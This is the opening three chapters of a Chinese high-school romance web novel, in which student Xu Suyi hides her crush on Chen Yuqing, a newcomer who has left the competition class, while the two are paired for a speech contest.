《橙子同学》 1. 第 1 章 “好了,下周的事咱们下周再聊,新闻周刊祝您周末愉快。” 随着主持人字正腔圆的话语声落地,许苏意把碗筷丢进厨房收拾好,关掉重播的电视机,推开了门。 换鞋之前,周清雅往许苏意书包里塞了把雨伞,拉链上挂着个手作香囊,还有个小铃铛,拉起来时能听到声音。 “早餐吃饱了吗?这两天没去上课,还赶得上课程吗?”她说话的声音温温柔柔,飘进许苏意的耳朵里。 许苏意弯腰穿鞋,露了个笑让周清雅放心:“妈妈,不用担心,这才刚开学两天。你在家照顾好自己。” 没说两句话,周清雅又开始咳起来,弯着腰扶着门把,说话也断断续续的,“马上要升高三了还请假,下次不可以这样了。” “知道了,妈妈你快进去休息吧。” 许苏意伸手扶着周清雅,让她进去休息,还没两秒钟,就听见耳边落来的催促声:“妈妈没事,你快去上学,别再耽误了。” 真的没事吗?上次周清雅也是这么说的。 结果在开学注册那天,她就在工坊晕倒了,班主任通知时许苏意书都没来得及领几本,就赶着去医院。 周清雅早年生了场大病,身体落了病根,一直反反复复,偏偏这两天许桥生出差赶不回来,这次晕倒把许苏意吓坏了,还好住了两天院,没事。 昨晚下了场雨,空气里还带着湿漉且清新的泥土气息,冬季未褪去的寒冷依旧藏在风里。 小区门口的绿化带上停了几只鸟,叫声好不悦耳,阳光透过云层,浮光跃金。 有部分光落在许苏意脸上,映照出她的模样,土生土长的南方人,秀气温婉,还沾了几分清冷,不多,衬得更加大气,颇有中式美感。 许苏意抬手遮了遮光,她有几分出神,在想周清雅的事,应该不会再晕倒了吧,也不知道许桥生什么时候回来。 小区离海城国际中学特别近,只需要步行十分钟,是许桥生当初选址的理由,为的就是许苏意上学方便。 穿过十字路口,校门口的人特别多,几家卖早饭的小摊前围着人。 许苏意穿过他们,快步进校。 高二(7)班在二楼最末尾的位置,尽头是教师组办公室,刚坐到位置上,她的身旁就坐下了个人。 “许——苏意。”即使说话的女声悦耳动听,但许苏意依旧被吓了一跳,转过脸才发现是一张熟悉的脸。 看到她,占朴洛立马笑了起来,她手里还拿了个咬了几口的面包,指了指许苏意的书包,“刚刚我就在想,背着这么漂亮的手作香囊的人肯定是我的好同桌,居然还会响,还有茉莉香,全校找不到第二个人有这个了。” 香囊是许苏意亲手做的,里面的茉莉香也是花费了她许多心思才调制出来,听到占朴洛的夸奖,她悄无声息地把手伸到书包后摸了摸香囊。 “朴洛。” 许苏意叫出她的名字,也笑了起来,她和占朴洛其实不是很熟,高二分班她运气不好,认识的好朋友都去学文了,上学期一学年都没玩熟几个同学。 注册那天班里重新分配同桌,两个人恰好一桌。 “你妈妈怎么样了?” 那天许苏意请假挺多人都知道,毕竟是第一天,人来一半就走挺突然的。 “没事了。” “哦,那就好。”几口面包下去,占朴洛把书包挂在桌子旁边,又说:“那天按照成绩排,班主任说上学期你就是班长,有经验,所以这学期你还是班长。” 国际中学为了排名,实行淘汰制选举班干部。 许苏意还挺惊讶的,上学期期末考她发挥的不是很好,以为自己会被淘汰:“是吗?确定了吗?” “对啊,就你走了后班主任说的,按照成绩排。” 占朴洛看了眼许苏意,嗓音低下来,故意说:“好多人想竞争,还没有机会呢,毕竟人如果没有梦想——” 许苏意看穿了她,然后说了句:“那和无忧无虑有什么区别。” 好一句冷幽默,原本占朴洛还想说些什么,直接被许苏意这句话给轻飘飘带过,忘记了后头要说的话。 她张大了嘴,被许苏意的话给惊讶到,随后又笑得花枝招展:“好搞笑。” 许苏意并不是个爱说冷笑话的人,许桥生在一家医药外贸外企工作,摸爬滚打几年也混到了销售总监的位置,有几次许苏意撞到他打电话,看他游刃有余地和人周旋,倒也学会了反向思维。 周清雅说她聪明,理解能力强,接话相处让人感觉舒服,但许苏意只有在心情愉悦时会说几句冷幽默的话提供氛围,并不会给人无条件地提供情绪价值。 占朴洛已经不笑了,不知道是哪个字眼戳着她的笑点,她非说要把这句话给记下来。 上午七点二十八分,离早读课还有两分钟,班主任蒋川川路过班门口,见到许苏意来了,敲了敲班门口,叫她出来。 占朴洛在拿书,问她:“班主任让你去拿书吧?上回你没领的书都在她那儿。” “应该吧。” 许苏意从位置上站起,转头。 抬头的瞬间,看到了他。 “陈屿清。” “你怎么才来啊?” 藏在心底的疑问被抛在空气中的瞬间,许苏意几乎是不受控制地把目光继续停留在他身上。 男生神色恹恹,耷拉着双眼皮,清隽眉眼带着懒淡的倦意,清瘦的身躯挺立在那儿,指骨拎着黑色的书包,松弛感拉满。 陈屿清没搭话,书包挂在课桌旁,长腿一勾椅子。 滋啦一声,在班里异常明显。 陈屿清趴在课桌上,那只提过书包的手懒洋洋地压过去,悬在桌上。 说话的男生是陈屿清同桌,见他不应,温新南“啧”一声,拿过课桌里的校服。 一丢,盖在陈屿清脑袋上,“兄弟,又踩点。” 陈屿清困极了。 许苏意心跳怦怦,那是无法控制的自由意志,教室地砖是普通的灰色大理石,有好几个点染上了去除不掉的黑,脚上是白色的帆布鞋,她不想踩,一脚跨了过去。 陈屿清前桌把椅子往后一拉,人往后靠:“诶,陈屿清!还有你,你们都是竞赛班的吧?怎么来我们这儿了?” 许苏意余光还在看陈屿清的方向,耳朵也听着。 温新南手撑着脸,挺无所谓的,欠揍似的牛头不对马嘴:“陈屿清,高一竞赛一班的种子选手,就这么来了重点班,兄弟陪着他来的,够意思吧?” 前桌乔彦林听得云里雾里:“不是……这啥玩意?” 许苏意移开目光,走出班级时,身后隐约还能听到两句:“重点班有重点班的好啊,行了别说了啊,他睡觉呢。” 几句话,叫人情不自禁地想。 陈屿清最讨厌周一了。 …… 海城国际中学自高二分班后,被打乱分为三个级部,平行班,重点班和国际部竞赛班。 高二七班正是重点班。 重点班一共十一个,都被分在了修远楼。 站在走廊能够一眼分辨合围式的教学楼,楼与楼中间栽着高大的香樟树,白玉兰点点散散,泥土乌黑,湿润润的,有几个学生还在值日,在扫着树叶。 身后传来七班整齐的英语单词声。 许苏意敲了敲办公室门,蒋川川见她来了,喊她过来,“这是那天剩下的课本,你领回去。” 蒋川川把放在办公桌上的课本推过去,“你妈妈身体好多了吧?” 许苏意点点头:“好多了,谢谢老师关心。” “那就好,这学期还是你负责担任班长这个职位,没问题吧?”班长的职位一直都以班里成绩最好的同学担任,这点没人反对。 蒋川川见许苏意点头,她又说:“这次叫你过来,主要还有一个事情。” 许苏意抬头。 “你和陈屿清的成绩都特别好,尤其是他高一入学就是国际部竞赛强基班,按理来说,高二他也是直升国际部高二强基班。” “不知道什么原因他选择来了重点班,虽然重点班也不差,老师也欢迎他来我们班,争取把班里平均分提一提,但这学期过完马上就要升高三了,如果在国际部竞赛强基班保不齐直取国外offer,关于这点,老师还是希望他能回竞赛班,还有他的同桌温新南。” 话到此处,许苏意垂在身侧的手抓了抓校裤边侧,她垂眸,心思缥缈。 开学那天几个同学在讨论陈屿清要来重点班时也好惊讶。 更多的是隐秘的欢喜,没想到会和他同一个班。 如今更没有想到的是,陈屿清会是以这种方式来七班。 蒋川川继续说着,并没有注意到许苏意的变化。 “他家里人也是要求我们多劝劝他,但老师劝过,作为老师这个身份也不好再多说,主要是竞赛班……苏意你也明白。” “刚好市里有个演讲比赛,就安排你和他一起参加,你和他未来都是同学,如果有机会的话,多劝劝他。” “看看他有没有可能回心转意,回到竞赛班。” “如果没有,也没关系。” 蒋川川看着眼前文静的少女,早在她被分到七班时,教师组里就说过许苏意是个成绩好,省心又优秀的女生。 如今看来,是第一眼就讨人喜欢。 许苏意抱着书本出办公室时还有些走神。 海城国际中学按照中考成绩入学,当初许苏意也可以被分入国际部竞赛班,许桥生问过她的意愿,继续保持成绩是可以直拿国外offer,那是一种更好的教育资源。 但许苏意拒绝了,她要留在国内。 陈屿清是已经在国际部学了一年,现在又为什么要离开竞赛班? 无论是重点班还是竞赛班,这都是陈屿清自己的选择不是吗?为什么要去改变他的自由意志呢? 这话许苏意没在蒋川川面前说出来。 所以,他刚来重点班,就要让他走吗? 许苏意回到教室时早读课还没结束。 她没再看陈屿清,他身上的校服依旧盖着,也看不清他的模样。 占朴洛见许苏意抱着书过来,书不多,还有一沓作业本。 “怎么还有作业本?让你发啊?”作业是前天做的,许苏意还没有做。 “嗯。”许苏意点头,“班主任让我下课发,顺便认识一下新的班干部是谁。” “那我下课帮你一起发,给你一起认。”占朴洛人缘好,和班里的同学都能说得上几句话。 “好。”许苏意点了点头。 上午第一节课就是数学,班里气氛沉寂,困 乏侵袭大半个班。 许苏意被传染了好几个哈欠,眼眸水雾荡漾。 占朴洛更是到了拿着笔在书上乱写好几个符咒的境界。 一下课,班里倒下大半片,占朴洛虽然困得不行,但还记得帮许苏意发作业,她抱了半叠过去。 许苏意心下一怔,不清楚陈屿清的作业是不是在里面。 她抿了抿唇,只能靠运气了。 “这是陈佳雨纪律委员,第一排第三桌靠窗那个是苏恩露,劳动委员。” “那个是朱宁茜,学习委员她没变,还是和上学期一样……” 占朴洛用手指了指他们,把作业本放在他们桌上。 发完最后一本也没发到陈屿清的,在许苏意手里。 棕色的作业本下方的姓名那一栏写着“陈屿清”三个字。 字迹清晰却龙飞凤舞,不知道陈屿清写下的时候又是什么心情。 占朴洛还在说着:“这个你知道吧?陈屿清,就那个竞赛班的,不知道他为什么来重点班了。” “竞赛班多好啊,我要是能去,我家里都得烧高香。”占朴洛扯了扯嘴角,“现在来了重点班,更多女生喜欢了。” 许苏意轻声问:“大家都不知道他为什么来重点班吗?” “当然了,这谁知道啊,就你这两天没来,有挺多女生在讨论,没人知道。”占朴洛看了眼许苏意,有些惊讶她居然不知道陈屿清。 “他在睡觉,你把作业本放他旁边吧。” 谁都不知道的事情,只有她知道吗? 真的吗? 许苏意沉默着,朝他走过去。 她走的步伐很慢,像她暗恋上他那天一样。 去年开学,高一教学楼因为某个学生偷偷带了好几部手机在教室里充电,导致插排电压过高整栋楼都停了电。 班主任带着班里同学先去国际楼的空教室上课。 也是那天,教室里没有粉笔,班主任让许苏意去隔壁班借粉笔。 许苏意没想去,那天感冒她嗓子不舒服,但出来走了几步,因为透气反而觉得人舒服多了。 竞赛班学生人数不多,每个班二十个人,师资力量用到最大。 那天那个班没有老师,几个竞赛班的同学都在刷题,许苏意问了几句借个粉笔都没有人应。 有的人说竞赛班瞧不起重点班的同学。 许苏意没这样觉得,毕竟她嗓子不舒服,有可能是说话声音太小声了,但总归没人回应心里多少有点不舒服。 还有点莫名其妙的难堪。 后来陈屿清给他了,他从位置上起身,说了句:“晾着有意思吗?” 嗓音没带着不耐,可不轻不重的,就是有股劲儿。 一开始许苏意甚至不太明白他在说些什么。 直到少年拿了盒粉笔给她,那会儿许苏意耳朵都红了,低着头,看着像罚站。 她知道他叫陈屿清。 竞赛班光荣榜常常就挂在那儿,哪个人看不见,不认识。 周围人最经常讨论的就是他的名字,C、CCF之类的竞赛里也有他的身影。 印象里,成绩好的少年少有长相出众的,偏偏官网图出现的那一刻,一堆女孩经过他的班级就为了那么一眼。 那张脸,身高,太好看了。 能够站在这样的高度上,他的家世自然也不用想。 在羽毛球场,陈屿清稍微挥拍,白T衣摆上扬,不经意露出的薄肌,盛夏光辉笼罩为他渡光,少年感拉满。 一切优越的条件聚集,偏偏陈屿清不在意,毛巾带走额前汗水,不被注意地滑到锁骨。 也就这会儿,球场已经站了女孩,目光紧盯着。 这样的少年,总叫人觉得远在天边不可见,偏偏他就在那儿,偶尔出现的和朋友几分玩闹话语声,少年的劣性,又叫人觉得真实。 许苏意原本没那么在意,她心思不在这方面上,唯有留在国内上那所念念不忘的大学才是最重要的。 可这会儿少年遥遥站着,黑白校服被他穿得落拓有型,初具成熟的五官线条流畅锋利。 目光坦荡,却又带着几分疏离。 她们说得没错,陈屿清的身高真的好高。 许苏意需要抬头望过去,他的影子一整个笼罩了她的影子。 耳朵更红了。 她甚至只来得及说句“谢谢”,连他名字都不敢说。 回去后,许苏意庆幸那会儿她没叫他名字,不然嗓子不舒服,大概叫出来的声音也是不好听的。 可为什么她那么纠结他的名字呢,晚间的风凉意满满,少女朦胧的心事初见端倪。 自此,难以忘记。 他们都说陈屿清颜正性子好,却极其难以接近,少年坦荡,却透着疏离,是人与人之间最难打破的距离。 明明面上看着脾气好,有礼貌,却谁都知道,其实他只是因为不熟。 许苏意不是没有想过去靠近他,只是心事太过浅薄,又害怕暴露在明面上,所以止步于此。 而现在,班主任的话语,两人之间的同学关系。 她有了机会靠近他一点点。 这一刻,许苏意拿着他的作业本,终于可以念着他写过的名字,光明正大,毫无顾忌。 “陈屿清。” 2. 第 2 章 陈屿清其实没睡着,他单纯趴着不想起。 温新南听到许苏意的声音,用手肘顶了顶陈屿清:“阿屿,没听人叫你呢,别装睡。” 陈屿清缓缓抬起头,神色倦淡,狭长的眼眸微抬,外双眼皮敛起一些,白皙的指骨从课桌上抬起,放在腿上。 他看许苏意。 她站着,他坐着,这种场景下,她不需要抬头看他。 许苏意没想到陈屿清会直接坐起来,他看起来困极了,但偏偏他是那种越乏神色越淡的人。 不凶,只是看起来不好接近,距离特别遥远的模样。 陈屿清的作业本是牛皮纸,质感很好,她递给他:“你的本子。” 很普通的一个动作。 那只放在腿上的手抬起,漂亮精致,接过许苏意手里的本子,微哑的嗓音还带着几分干燥,听着依旧好听:“谢谢。” 许苏意几不可察地点头,没再多说话,转过身,继续发接下来的本子。 占朴洛靠过来,歪着脑袋,小声地说:“苏意,我之前听说陈屿清很讨厌周一,有空就补觉,没人叫他,他好像有起床气,扑克脸,你刚刚没听我说,别叫他,本子放那儿就好了。” 许苏意没什么大反应,剩下的本子不多,有几个上节课数学老师念过名字,她记得。 “讨厌周一...”许苏意说话声音有些轻:“又不是讨厌我。” 陈清屿不只讨厌周一,她知道得比占朴洛还要多。 许苏意回头看了眼陈屿清,没在睡觉,在和温新南说话。 他把手搭在温新南身上,漫不经心地说着市面上什么游戏的话题,看着不像刚刚那样困倦了。 占朴洛没听见许苏意后半句话,她还有些后怕:“是诶,我还以为他起床气会发脾气呢,没想到你叫了他就起来,没脾气,还说了谢谢。” 她又耸耸肩,“都快给我惊到了。要不是那张脸,我还以为看错人了。” 几句话落在耳边,许苏意“嗯”了声,不敢多说,手指下压着一本下节课要上的英语选修三,她翻开,黄褐色的连绵山峰下夹着一张演讲报名表。 另外一张她趁着走向陈屿清时悄悄塞进了他的本子里,不知道他会不会看。 .... 刚开学没多久,大课间时广播播报了学生会干部开会,开始新学期的检查,上学期期末高二干部全部被团委老师卸任大换血。 刚开学就要跑操,还要听着校长书记纷纷在上面念着词,底下的人就有些站不住了。 “不行了,急死我了,能不能快点讲完,一会儿厕所又要挤爆了。” “别说,我还没吃早饭,我还想去小卖部,再念下去一会儿直接上课了。” “....诶,陈屿清呢?” 温新南揽上前排同学的肩膀:“他纪检部部长,开会去了。” 乔彦林惊了一瞬:“陈屿清纪检部部长?” “很惊讶吗?他跟我打赌打输了,去了纪检部。”温新南说着就无语,“本来想让有洁癖的人吃吃苦,结果他当上了部长,卧槽,便宜他了。” 乔彦林八卦住了:“什么赌啊?” 温新南竖了大拇指指向自己,扬了嘴唇:“这你就不懂了吧?我跟他赌《熊出没》里有没有松鼠,这哥们没看过,没童年知道吧?” 乔彦林傻了。 这年头还有人没看过《熊出没》的。 乔彦林弱弱地问:“那他童年都在干嘛?” ... 对话被占朴洛听见了,震惊:“苏意,你好像也是纪检部的吧?” 她前面下课看到许苏意抽屉里纪检部检查卫生的扣分单子了。 许苏意点了点头。 “他们说的是真的吗?” “真的。” 这事情其实没多少人知道,国际部离这边挺远的,是上学期的事情。 那场赌输了后陈屿清愿赌服输加入纪检部,纪检部主要检查卫生这块。 陈屿清有洁癖,进来后没有不务正业混日子,反而认真负责,上届部长卸任后推举他当了部长。 后来到了招新的时间,一堆女生想进来,都被陈屿清拒绝了。 有几个是诚心想加入纪检部的他心里清楚。 许苏意也申请加入纪检部,面试那天陈屿清不在,她四平八稳的面试,完美地遮掩了自己的暗恋心思。 暗恋的人,最清楚如何遮掩自己的少女心事。 只是那会儿正好是期末,后来纪检部招新结束后也不需要再干活,许苏意也没再看到陈屿清。 她小心翼翼地从远处见他,只需要一眼。 “妈呀。我说纪检部上学期那么多人想进去,我还以为是为了综测分呢。”占朴洛扯了扯嘴角,“搞得我都想去了。” “你才不想去,你想去的是塔罗部。”许苏意看着占朴洛,慢悠悠地补充上一句:“可惜没有。” 占朴洛就像她的名字,喜欢塔罗,书包里放着一本有关塔罗的书,被许苏意后还津津有味地分享起来。 只可惜许苏意不感兴趣,她感兴趣的是手作,那个香囊她也和占朴洛说了是她亲手做的。 女孩之间很容易熟络,半个上午知道了彼此的兴趣就已经走近许多。 占朴洛笑嘻嘻,“还是你了解我,我可是算了未来我也会拥有一个香囊,就看送我的人愿不愿意——” 站在前排的蒋川川一个眼神过来,许苏意用手肘顶了顶占朴洛,她一个挺直背部,住了嘴。 书记讲完校长讲,校长讲完团委老师讲,通知了放学后占用大家十分钟的时间学生会各个部门要开会。 这一说完,离上课时间只有三分钟,一解散占朴洛就拉着许苏意冲向女厕所,出来时,女厕所已经人山人海排了好几个人。 许苏意没想上厕所,她洗了个手,听见有人叫她。 “苏意,刚刚喊你,怎么不应我?” 朱宁茜打开水龙头洗手,一边看许苏意。 她是班上的学习委员,也是纪检部的成员,上学期招新时许苏意和她说过话。 “我没有听见诶。” “噢噢噢,好吧,刚刚团委说了放学纪检部要开会,我们一起去吧。”朱宁茜是个特别可爱的女孩,笑起来特别可人。 “好啊。” 后两节课要听写文言文,科任老师还没来,班里都在背诵复习。 进班时许苏意目光转了圈,陈屿清已经回到班里了,他在背文言文。 都说陈屿清成绩好,但也不完全是天赋,人人都说他有天赋,但因为这几句话,也为了不辜负这几句话,他应该也要付出很多倍努力吧。 毕竟他的抽屉里塞了很多试卷。 许苏意不信世界上有不付出努力就能得第一的人。 ... “不是,为什么通假字都这么抽象啊。” “赋其君者也,我写反了我靠,早知道我心里想的那句就不改了,越改越错。” “谁懂,越背越乱,错一个字抄一遍,1,2,3,4,四遍...我没了,兄弟。” .... 班里有几个人在确认默写,语文两节课连着上,中间没下课,这会儿已经是放学了。 占朴洛错了两个字,没错出预料之外,还算轻快地收拾书包。 许苏意还记得放学要去纪检部开会的事情,“我中午要去开会,你先回去吧。” 占朴洛点头:“嗯,拜拜。” 纪检部开会没有固定的地点,一般选个空的教室所有人到齐就可以开始了。 主要是检查卫生,两个人一组,分别在某个工作日里的大课间段检查一个年段的卫生,最后把扣分单子交给副部长就可以了。 点名,安排人员,抽取工作日,十分钟不到的时间就说完了。 陈屿清不在,说话的人是副部长。 许苏意听其他人说陈屿清去拿上学期每个班级的统计表了。 又没见到他。 开完会,教室里的人走得很快,都急着去吃饭,许苏意和朱宁茜一起出教室。 “又没见到陈屿清,好可惜。”朱宁茜用手撑着下巴,有些失落,“以为进了纪检部还能 有些不一样呢。” 太明显了,少女的话里情绪在意得不得了,青春里的稚嫩一览无余。 许苏意站起身的动作一顿,贴在桌子上的掌心立马凉了几分。 不是她一个人把暗恋装得很好,毕竟暗恋陈屿清的又不是只有她一个。 夏天很长,感受夏天的是千千万万的人。 不是只有她一个人没看到陈屿清。 许苏意把手放进校服口袋里,“刚刚不是说了,他去拿表格了吗?” “算啦,来日方长。”朱宁茜情绪来得快去得也快,“反正他都从竞赛班过来和我们是同班同学了,还怕这一次吗?而且来都来了,他肯定也不会回去了。” 许苏意接了话,“你怎么知道他不会回去了呀?你知道他为什么来我们班吗?” “不知道啊。”朱宁茜理所当然,“这是直觉嘛。我上学期去过竞赛班很多次,看到陈屿清很多回,还知道他挺多事的,都说他不会回去了。” 仿佛夏天燥热的风吹过来,吹得许苏意整个人胸口闷闷的。 喉咙像被黏住,怎么都说不出口。 好半晌,她说:“哦。” “你来纪检部是为了学分吗?”在朱宁茜眼里,许苏意有种不问世事的感觉。 朱宁茜看过许苏意演讲比赛,上台时一口流利的英文,大大方方的清高,是羡慕不来也让人不讨厌的那种,反而让人觉得她很好相处。 朱宁茜羡慕许苏意这样。 许苏意的手在口袋里攥紧了,用力,松开,用力,再松开。 深吸一口气,许苏意藏下仅有的心思,看向朱宁茜。 她长得很漂亮,皮肤很白,像雪,半分让人感觉不舒服的地方都没有,也很大胆表达自己的想法。 朱宁茜喜欢陈屿清,毋庸置疑。 许苏意学不来她这样。 许苏意说了谎,“对呀。” “好诶。”朱宁茜忽然想起什么,“那过阵子的演讲比赛你是不是和陈屿清一起参加呀?” 演讲比赛这事儿班里几个学委都知道。 许苏意眼皮跳了起来,和朱宁茜对视几秒,干笑起来:“是吗?我还不知道诶。” 朱宁茜追问:“是吗?蒋老师不是说你和陈屿清的报名表都给你了吗?” 是的,上午在办公室,蒋川川把报名表都给许苏意了。 她让许苏意给陈屿清,让两个人熟络一些,方便劝他回竞赛班。 许苏意有些心虚,觉得说谎好累,可是因为暗恋,她一点办法都没有。 因为暗恋,所以她觉得明明是一件很小的事情,只要和他有关,她就想私心地藏起来,悄悄地欢喜,哪怕这件事最后所有人都会知道,可她就是想着,慢一点,再慢一点。 许苏意心跳很快,想要跳过话题,又或者想着怎么圆过去。 不过好在,朱宁茜匆匆想起家里人还在校门口等她,说着下次再聊就先一步跑走。 许苏意松了口气,身后忽然传来细微响声。 转头,她在光影中见到了刚刚讨论的事件对象。 陈屿清靠着门,影子被拉得很长,人被光线笼着,特别的醒目。 校服拉链开着,露出白色的T恤,模特的身材反而被一堆人讨厌的校服衬得特别好,松弛散漫得恰到好处,几分懒洋洋模样是青春里最让人羡慕不来的。 不知道他来了多久,又听了多少。 总之,许苏意知道,他知道她说谎了, 报名表夹在她亲手递给他的作业本里,他看了吗? 到底看没看?肯定看了吧,哪有人上学不看批改过的作业本。 那瞬间,心虚感布满了许苏意的心脏。 扑通扑通。 许苏意,你心跳好快啊。 许苏意想装作什么都没发生,却事与愿违。 心跳更快了,她自暴自弃地任凭心跳乱揍。 陈屿清眉梢轻抬,目光直直地看她,眼眸坦荡。 然后,戳破。 “你说谎了。” 话音落地,她被他抓到了。 3. 第 3 章 许苏意反应慢下来,整个人怔住,眼皮疯狂地跳。 像是有些应激的小猫,想退缩,但是不行。 陈屿清低头看她,目光没移开,他不是很懂许苏意为什么要说谎,也没有兴趣知道。 青春里的女孩心思沉,总叫人猜不透。 但他指骨敲了敲门板,学着许苏意呆呆的模样,他说话的语气很慢,声音不像上午那样哑:“不是把报名表夹在本子里,亲手交给我的吗?” 果不其然,还是看到了。 她就说,谁发了作业本后会不看啊。 许苏意被陈屿清的话惹得做出反应,步伐慢下来,连风吹来时都觉得比往常还要热。 陈屿清却抬了眉梢,眼眸很淡,“忘了?” 两个字,轻描淡写的。 他又主动带过了。 许苏意抬起头,好半晌才说了一声“嗯”。 放学时间,再过几分钟就清校了,学生不多,有几个从走廊尽头匆匆走过。 许苏意看不见他们,只有陈屿清,显得那样清晰。 谁的目光都没移开。 明明当场被他抓到了说谎,可心跳依旧在开着演唱会,乱乱的,可是许苏意仍然在看他。 被她这样盯着,陈屿清转过了头。 许苏意太认真了,那模样像是仔仔细细思考了好久,才给出了个准确的答案,反而让陈屿清觉得刚刚是不是幻听了。 “蒋老师说了,下午体育课后半节让我跟你一起去英教。” 蒋川川教英语的,这次比赛是去市里,她是指导老师。 修远楼有专属的英语教室,没有国际部的大,一般没有特别重点的课都不会去那儿上。 陈屿清转过身走了。 动作间,光影依旧跟着他,肆意热烈,坦荡自由。 明明是他戳破了她的话,却又主动地替她圆上去。 许苏意抬手,用掌心去感受脸颊的热度。 好热,可是一点办法都没有。 许苏意动作很慢,其实和他说话,她的反应故意慢了一些,只有藏着心思,想要和他相处得再久一些,才会这样。 她松了口气。 心跳还是很快。 ... 下午快上课之前,许苏意收到了许桥生的信息。 【许桥生:橙子,爸爸飞机才落地,已经到家了,带了点你上次和我说的陶土。】 【许桥生:先带你妈妈去医院复查,晚上有什么想吃的和我说。】 许苏意松了口气,回复过去。 看来许桥生已经知道周清雅身体的事情了,那就不用她去说了。 周清雅身体不好还有一点原因,她开着一家漳窑工坊,漳窑是省非遗,这行不好干,需要耗费精力,又花时间。 对此许桥生并不反对,他的收入足够维持整个家庭的收支,也足够支撑周清雅的工坊,相反,他唯一的要求是不想要自己的妻子太劳心。 许苏意从小跟着周清雅耳目渲染,也喜欢漳窑。 许桥生回复很快,许苏意再回复过去的时候已经响铃了。 第一节课就是体育,女生先绕着操场跑八百米,男生一千米,结束后做几节操后自由解散。 占朴洛拉着许苏意去小卖部买冰淇淋,“这都还没到夏天,为什么还这么热啊。” 朱宁茜从后头追上来,慢慢悠悠地补了句:“就是啊,你没听刚老师说,原本还想给我们加几组高抬腿和仰卧起坐吗?这要是再做下去,我直接原地晕倒。” 许苏意也热得不行,鼻尖上冒出细密汗水:“还好没有继续。” 占朴洛自来熟,和朱宁茜早早就说上话了。 “你们是要去小卖部买冰淇淋吗?我请你们呀。”朱宁茜问。 “真的吗?那我可不会手下留情!我要可爱多!”占朴洛笑了,“苏意,你要吃什么?” “我不吃,我买瓶水。”许苏意想了想,“才三月,这么早吃冰淇淋,会好冻嘴的吧。” 朱宁茜走到许苏意身后,用手推着她的背往前走:“不会不会,我请你吃巧乐兹吧,原味的特别好吃。” 三个女生朝小卖部走去,等买了冰淇淋和水出来,听见操场上有人在喊陈屿清的名字。 许苏意一口咬下冰淇淋,目光在羽毛球场上转。 陈屿清在打羽毛球。 班里一些女生都在有意无意地看,有几个直接站在羽毛球场旁边。 周围声音挺大的,却不难听见女生七嘴八舌地讨论声。 全是关于陈屿清的。 陈屿清不像其他男生那样爱打篮球,他倒是更爱打羽毛球,算不上专业,业余好多年了听说。 有些激烈的比赛,陈屿清侧身起跃,握拍的右手鞭打发力,挥拍的瞬间,羽毛球触碰到球面,发出清脆有力的声响。 同时,陈屿清衣摆上扬,露出结实的薄肌。 击球速度和力量爆发。 球落地,那是一记慢镜头都来不及看清的扣杀。 反手杀,假动作,漂亮利落,赏心悦目。 陈屿清漫不经心地抬手,对着羽毛球网那头的男生露出无谓的神色,那是松弛感拉满下的冷淡。 他转过身,和站在一旁的温新南轻轻松松击掌。 “兄弟!你帅爆了!” 班里好几个女生都发出欢呼声,有几个还是竞赛班的。 “卧槽,陈屿清好帅,那个抬手绝了。”朱宁茜也跟着炸了,激动地叫出声,“抬手不是抱歉——” 目光落在许苏意身上。带着期许。 许苏意垂眸,她听见自己略带欣喜的话语从喉咙里将要溢出时与朱宁茜对视上,最后消失,停顿。 朱宁茜见许苏意不说话,目光看向占朴洛,她迫切地想要一个回应。 “而是无需多言!”占朴洛也有点激动。 得到回应,朱宁茜嗷嗷叫起来,她抬手揉了揉许苏意的脸颊,有些无奈,“我的天,苏意你居然不知道这句话。” 许苏意喉咙像被粘了麦芽糖,怎么都说不出话,莫名觉得空气中的氧气都少了,有些缺氧,她摇摇头,小声说:“我不了解有关羽毛球这些的。” 到底知不知道,只有许苏意知道。 占朴洛看着羽毛球场,咬下一口手里的可爱多,眼睛亮了,“我去,陈屿清好骄傲,他好胜心肯定很重。” “我不认为有好胜心是坏事。”许苏意心跳一顿,思绪中断,先说了这句话,说完发现她们两个都看自己后,补了句:“不然他成绩也不会那么好呀,争强好胜才是天性,为什么不能是他赢呀。” “他输了你们才不高兴。” 我也不高兴。 朱宁茜笑出声:“苏意,你说话好有意思,和你当同学当朋友真好呜呜。”她贴过来撒娇,“章利,你们知道吧?” 许苏意和占朴洛都有些茫然。 朱宁茜解释,“就刚刚那个,和陈屿清打羽毛球的人,那人是他原来竞赛班的,听说两个人早有过节,他科科被陈屿清单杀就很不爽,一直要和陈屿清比什么乱七八糟的,之前还丢陈屿清东西,这回打球一定又是他过来挑衅了。” 这么一说,许苏意有印象了,她听过这事,陈屿清之前有副球拍就被他丢了,球拍事小,主要是价格,天斧100ZZ,将近三千的价格,闹挺大的,章利不承认,当场被叫了家长在班里道歉。 章利这人许苏意知道名字,对不上脸,今天是第一次见到。 输了比赛,章利丢了一句狠话就走了。 有点狼狈。 占朴洛双手环胸,“天,这一波,太帅了,有礼貌,打球帅,难怪一堆人喜欢。” 她看过来,“你也是其中一个,是吧?” 你也是其中一个,是吧? 许苏意不自觉咬下一口巧乐兹,太大口了,冰的她嘴里有些疼,没敢看占朴洛,当没听见。 耳边传来朱宁茜的声音,风吹过,总觉得有些燥热,“这不是写在我脸上吗?” 她嘻嘻笑,朱宁茜还在看陈屿清,“不行不行,我要去给陈屿清送水啊啊啊。” “但是我又好想继续在这儿看他,呜呜呜。” 许苏意没说话,握紧手里的水。 朱宁茜忽然想起什么,“苏意,可以把你手里的水借我吗?” 她做出拜托姿势,“我请你吃冰,你这一周的水我都包了,好吗?” 水给出去了,瓶身还带着许苏意手里的余温。 许苏意朝着羽毛球场看,朱宁茜朝着陈屿清走去,手里拿着水。 她的脸上带着些许胭脂色,身影纤细,带着少女怀春的心思。 陈屿清刚刚打过羽毛球,他手里握着一瓶温新南提前递过来的矿泉水,喉结滚动时咽下,面颊上的汗水被纸巾带走,流利的下颌线含着几分少年人的冷硬。 清瘦的身影在午后阳光下拖出很长一道影子,他狭长的眼眸耷拉着,无波无澜,没有不耐烦。 隔着一些距离,许苏意听不清朱宁茜和陈屿清在说些什么,偏偏她能看清也能知道女孩眼里的悸动和情绪,太醒目了,能盖过一切雀跃。 水还在那儿,陈屿清不需要。 明明不是她去送水,没送出去的也不是她,可是为什么有些失落,后悔。 她一点也不想要这样的结果,也不想看见。 许苏意低头,不再看了。 朱宁茜回来了,低低“唉”一声,许苏意不知道怎么安慰她。 那瓶水原封不动地回到了许苏意手里,她紧紧握着,忽然觉得好难过。 比起朱宁茜勇敢后的失落,她好像有些感同身受。 可朱宁茜好像并没有因此被劝退,她拍拍自己的脸,忽然想起什么,“苏意,你不是和陈屿清一起演讲比赛吗?这会儿你应该知道了吧?” 许苏意“嗯”了一声。 